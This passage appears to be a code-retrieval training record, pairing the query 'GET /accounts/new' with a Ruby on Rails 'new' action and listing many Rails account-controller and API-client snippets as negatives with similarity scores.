user[\"id\"])\n if ( account != nil )\n render json: account, status: :ok\n else\n render json: :nothing, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def index\n @account = Account.find(params[:account_id])\n @users = @account.users\n respond_to do |format|\n format.json { render json: @account.users.paginate(page: @page, per_page: @per_page) }\n end\n end", "def accounts\n request = request(method: :get, path: \"/Account.json\")\n response = request.perform\n instantiate(response[\"Account\"], Lightspeed::Account)\n end", "def show\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def index\n @user = User.find(params[:user_id])\n @user_accounts = @user.user_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_accounts }\n format.xml { render xml: @user_accounts }\n end\n end", "def show\n @account = current_user.person.linked_in_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def index\n @accounts = current_user.person.phone_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end", "def index\n @accounts = policy_scope(Account)\n\n render json: @accounts, include: [:user]\n end", "def index\n #@accounts = Account.all\n redirect_to root_path\n #respond_to do |format|\n #format.html # index.html.erb\n #format.json { render json: @accounts }\n #end\n end", "def show\n @account = Account.find_by_id(params[:id])\n\n respond_to do |format|\n # Allow the user to see only the accounts that are from one of his groups\n if @accounts.find {|acc| acc.id == @account.id.to_i}\n format.html # show.html.erb\n format.json { render json: @account }\n else\n flash[:error] = \"Account was not found\"\n format.html { redirect_to action: \"index\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def portfolio_accounts\n data = call_api(method: \"get\", url: \"/portfolio/accounts\" )\n @accountId = data.first[\"accountId\"]\n @accountId\n end", "def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end", "def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end", "def index\n @accounts = Account.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accounts }\n end\n end", "def index\n @accounts = @user.accounts.sort\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accounts }\n end\n end", "def show\n @account = current_user.person.gmail_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def index\n respond_with(accounts)\n end", "def index\n @accounts = current_user.person.gmail_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end", "def index\n response = @account_api.find_all\n if response[:status].to_i == 403\n redirect_to home_index_path\n flash[:alert] = \"You are not allowed to access this page\"\n end\n\n @accounts = response[:accounts]\n end", "def get_single_account(id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/accounts/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n Account.new(response)\n end", "def index\n @accounts = current_user.person.iphone_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end", "def get_accounts\n @accounts = Account.all\n end", "def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end", "def show\n @company_account = CompanyAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @company_account }\n end\n end", "def show\n @account = current_user.person.phone_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def index\n @accounts = current_user.accounts\n end", "def index\n @accounts = current_user.accounts\n end", "def social_accounts_for_a_project\n uri = \"#{@api_url}/#{@project_id}/accounts?access_token=#{@access_token}\"\n get uri\n end", "def account_info(options = {})\n request :account, :get, 'account', options\n end", "def show\n @account = current_user.person.iphone_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n format.json { render :json => @account }\n end\n end", "def show\n response = @account_api.find(params[:id])\n @account = response[:account]\n # @user = RubyBank::CustomerApi.new(session[:token]).find(@account.customer_id)[:user]\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def index\n @accounts = Account.all\n end", "def show\n @personal_account = PersonalAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @personal_account }\n end\n end", "def index\n @accounts = Account.all\n Rabl.render(@accounts, 'api/accounts/index', view_path: 'app/views')\n end", "def accounts\r\n AccountsController.instance\r\n end", "def accounts\r\n AccountsController.instance\r\n end", "def get_accounts\n response_xml = http_get(@client, \"#{xero_url}/Accounts\")\n parse_response(response_xml, {}, {:request_signature => 'GET/accounts'})\n end", "def show\n @account = Account.find(params[:account_id])\n end", "def get_accounts(page = 1, \r\n limit = 10, \r\n filter = nil, \r\n sort = nil)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts'\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'page' => page,\r\n 'limit' => limit,\r\n 'filter' => filter,\r\n 'sort' => sort\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "def show\n account = Account.find(params[:id])\n render json: PrivateAccountSerializer.new(account).serializable_hash\n end", "def show\n @credito = Credito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credito }\n end\n end", "def show\r\n\r\n\r\n @account = Account.find(params[:id])\r\n @workers = @account.workers\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @account }\r\n end\r\n end", "def show\n @linked_account = LinkedAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @linked_account }\n end\n end", "def show\n @capital_account = CapitalAccount.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @capital_account }\n end\n end", "def subaccounts()\n get('subAccounts')\n end", "def index\n account = Account.find(params[:account_id].to_i)\n @transactions = account.transactions\n\n transactions_json = TransactionSerializer.new(@transactions).serialized_json\n render json: transactions_json\n end", "def index\n @accounts = Account.page(params[:page])\n end", "def show\n @trading_account = TradingAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trading_account }\n end\n end", "def index\n @accounts = @project.accounts\n end", "def account_user(id)\n get(\"accountuser/#{id}\")\n end", "def account(&block)\n response = _get(\"accounts/current\")\n yield(response) if block_given?\n response[\"account\"]\n end", "def show\n @house_account = HouseAccount.find(params[:id])\n\n render json: @house_account\n end", "def show\n @account = Account.find(params[:id])\n if @account.user_id != current_user.id\n raise Forbidden\n end\n account_last = Account.find(:last)\n account_first = Account.find(:first)\n next_id = @account.id\n previous_id = @account.id\n \n \n while(account_last.id >= next_id)\n next_id += 1\n @next = Account.where('id = ? AND user_id = ?',next_id,current_user.id)\n if @next.present?\n @next = Account.find_by_id(next_id)\n break\n end\n end\n \n while(account_first.id <= previous_id)\n previous_id -= 1\n @previous = Account.where('id = ? AND user_id = ?',previous_id,current_user.id)\n if @previous.present?\n @previous = Account.find_by_id(previous_id)\n break\n end\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def accounts_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccountsApi.accounts_get ...\"\n end\n # resource path\n local_var_path = \"/api/Accounts\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#accounts_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @user_account_app = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_account_app }\n end\n end", "def retrieve(id)\n @client.make_request(:get, \"carrier_accounts/#{id}\", MODEL_CLASS)\n end", "def accounts\n return [] if self.id.nil?\n @accounts ||= \n OrgSync::Base.request(\"#{self.class.endpoint}/#{self.id}/accounts\", {}, @api_key).map { |json| \n OrgSync::Account.new(json, @api_key) \n }\n end", "def show\n @public_account = PublicAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @public_account }\n end\n end", "def show\n @tr_account = TrAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tr_account }\n end\n end" ]
[ "0.7682702", "0.7637437", "0.7635884", "0.75418967", "0.74294233", "0.72768146", "0.726333", "0.7219269", "0.7219269", "0.7219269", "0.7219269", "0.7219269", "0.7208149", "0.7188745", "0.71877134", "0.7187525", "0.7178146", "0.7173732", "0.71676797", "0.7163912", "0.7141296", "0.70921797", "0.7034462", "0.70278925", "0.7021831", "0.697136", "0.69622314", "0.69543207", "0.6941829", "0.6941516", "0.69360566", "0.69064945", "0.6903196", "0.68871164", "0.687308", "0.6855307", "0.68494743", "0.682731", "0.6819945", "0.67991805", "0.6767195", "0.6766214", "0.6742127", "0.67283124", "0.67283124", "0.6724803", "0.6716002", "0.66878676", "0.66747934", "0.66743034", "0.667404", "0.6668827", "0.6660468", "0.6620661", "0.66025245", "0.65960044", "0.65682614", "0.6563079", "0.6563079", "0.6558106", "0.65483934", "0.6545837", "0.6538488", "0.6531761", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65219736", "0.65211487", "0.6500471", "0.64993554", "0.64993554", "0.64841783", "0.64728034", "0.6464907", "0.64647526", "0.6455891", "0.6446725", "0.64440894", "0.64392024", "0.64369863", "0.6436463", "0.6422096", "0.64118993", "0.64091223", "0.64046407", "0.6400365", "0.63999027", "0.6399561", "0.63971835", "0.6383364", "0.6380608", "0.6374757", "0.6373727", "0.6368149" ]
0.0
-1
GET /accounts/new GET /accounts/new.json
def new @account = Account.new respond_to do |format| format.html # new.html.erb format.json { render json: @account } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\r\n @account = Account.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @account }\r\n end\r\n end", "def new\n @account = Account.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n\n @account = Account.new(\n\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n\t\t@account = Account.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend", "def new\n @account = Account.new\n authorize! :create, Account\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n format.json { render :json => @account }\n end\n end", "def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\t\t@account.users.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n @personal_account = PersonalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @personal_account }\n end\n end", "def new\n @account = current_user.accounts.build\n @help = \"New Account\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @company_account = CompanyAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company_account }\n end\n end", "def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.js { render :partial => 'new' }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account_manager }\n end\n end", "def new\n @public_account = PublicAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @public_account }\n end\n end", "def new\n @capital_account = CapitalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @capital_account }\n end\n end", "def new\n @tr_account = TrAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tr_account }\n end\n end", "def new\n @account = current_user.accounts.new\n end", "def new\n @laccount = Laccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laccount }\n end\n end", "def new\n \t@account = Account.new\n\t@navkey = \"account_new\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @trading_account = TradingAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trading_account }\n end\n end", "def new\n @credito = Credito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credito }\n end\n end", "def new\n @account = Account.new(group_id: @group.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n @user_account_app = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_account_app }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @account, callback: params[:callback] }\n format.xml { render xml: @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = User::Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @connected_account = ConnectedAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @connected_account }\n end\n end", "def new\n @pt_account = current_user.pt_accounts.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pt_account }\n end\n end", "def new\n @newuser = Newuser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newuser }\n end\n end", "def new\n @user = User.find_by_id(current_user.id)\n @group = Group.find_by_id(@user.currentgroupid)\n @account = Account.new\n \n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end", "def new\n \t@account = Account.new\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n respond_with(account)\n end", "def new\n @user = User.new\n\n render json: @user\n end", "def new\n @account = Admin::Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @user = User.new\n render :json => @user\n end", "def new\n @user = User.new\n @action = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "def new\r\n @company = Company.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @company }\r\n end\r\n end", "def new\n @auth = Auth.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @auth }\n end\n end", "def new\n @organization_account = OrganizationAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization_account }\n end\n end", "def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "def new\n @user = user.new\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @user = User.new(:organization_id => current_org.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @management_account = ManagementAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @management_account }\n end\n end", "def new\n @usernew = Usernew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usernew }\n end\n end", "def new\n @signup = Signup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @signup }\n end\n end", "def new\n @signup = Signup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @signup }\n end\n end", "def new\n\t\tif !@currentuser.administrator\n\t\t\tredirect_to :action => \"index\"\n\t\t\treturn\n\t\tend\n\t\t@voip_account = VoipAccount.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @voip_account }\n\t\tend\n\tend", "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @title = t('view.banks.new_title')\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @account_tran = AccountTran.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @account_tran }\n end\n end", "def new\n @user_account_registration = UserAccountRegistration.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_account_registration }\n end\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end", "def new\n @client = Client.new\n @account = current_user.account\n @user = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end", "def new\n @grant = Grant.new\n\n respond_to do |format|\n format.html { render :layout => false } # new.html.erb\n format.json { render json: @grant }\n end\n end", "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end", "def new2\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: t('common.created', model: human_name) }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @money = Money.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @money }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account_unit }\n end\n end", "def new\n if (user_limit_reached?)\n redirect_to(:controller => \"waitlist_users\", :action => \"new\")\n else\n @user_account_registration = UserAccountRegistration.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_account_registration }\n end\n end\n end", "def new\n\t\t@person = Person.new\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend", "def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @account_poi = AccountPoi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account_poi }\n end\n end", "def create\n megam_rest.post_accounts(to_hash)\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end", "def new\n @foo = Foo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foo }\n end\n end", "def new\n @m_item_account = MItemAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_item_account }\n end\n end" ]
[ "0.7805713", "0.7772019", "0.7759942", "0.7640924", "0.75624293", "0.7445206", "0.7444286", "0.74279237", "0.72765946", "0.7218242", "0.7200301", "0.71950555", "0.7145004", "0.7127732", "0.71264184", "0.7123972", "0.7076515", "0.70665985", "0.7062986", "0.70611167", "0.7029913", "0.70181113", "0.7007414", "0.70051044", "0.6989103", "0.6989103", "0.6989103", "0.69881755", "0.6972154", "0.6959779", "0.69329953", "0.6927106", "0.6921851", "0.6908637", "0.69049513", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.68839407", "0.6830377", "0.6824889", "0.6818978", "0.68050313", "0.68005073", "0.6799566", "0.6799561", "0.6794137", "0.67925334", "0.67601347", "0.67562944", "0.6754596", "0.6746891", "0.67444843", "0.67407143", "0.6739686", "0.6739686", "0.6726833", "0.67087257", "0.6706843", "0.6706843", "0.6706843", "0.67002374", "0.67002153", "0.6693181", "0.6689941", "0.6679295", "0.667813", "0.6675922", "0.66748714", "0.6670051", "0.6667238", "0.66634524", "0.6660316", "0.66445875", "0.6640048", "0.66349316", "0.6629549", "0.66251194", "0.66251194", "0.66251194", "0.66251194", "0.66251194", "0.66251194", "0.66251194", "0.6617999", "0.66176486", "0.6616952", "0.6615234", "0.6614057", "0.6605092" ]
0.7867003
4
POST /accounts POST /accounts.json
def create @account = Account.new(account_params) respond_to do |format| if @account.save Account.copy_templates(1, @account.id) format.html { redirect_to new_account_template_path(@account), notice: 'Account was successfully created.' } format.json { render json: @account, status: :created, location: @account } else flash[:error] = @account.errors.empty? ? "Error" : @account.errors.full_messages.to_sentence format.html { render action: "new" } format.json { render json: @account.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n megam_rest.post_accounts(to_hash)\n end", "def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "def create\n @account = current_user.accounts.build params[:account]\n \n account_array = accounts_from_credentials @account.api_email, @account.api_password\n \n accounts = account_array.map do |account_info|\n account = current_user.accounts.build params[:account]\n \n account.api_id = account_info.accountID\n account.api_name = account_info.accountName\n account.api_user_id = account_info.userID\n \n account\n end\n\n respond_to do |format|\n if !accounts.blank? && accounts.map(&:valid?).all? && accounts.map(&:save).all?\n flash[:notice] = \"#{accounts.size == 1 ? 'Account was' : \"#{accounts.size} accounts were\"} successfully created.\"\n format.html { redirect_to(@account) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n \n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n respond_to do |format|\n if @account.save\n \n format.html { redirect_to \"http://#{@account.name}.#{request.domain}#{request.port_string}/login\", notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n @account.owner = current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params.merge({ user_id: @current_user.id }))\n\n if @account.save\n render :show, status: :created, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end", "def create\r\n @account = Account.new(params[:account])\r\n\r\n respond_to do |format|\r\n if @account.save\r\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\r\n format.json { render json: @account, status: :created, location: @account }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @account.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to root_path, success: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n @account.user = @user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do 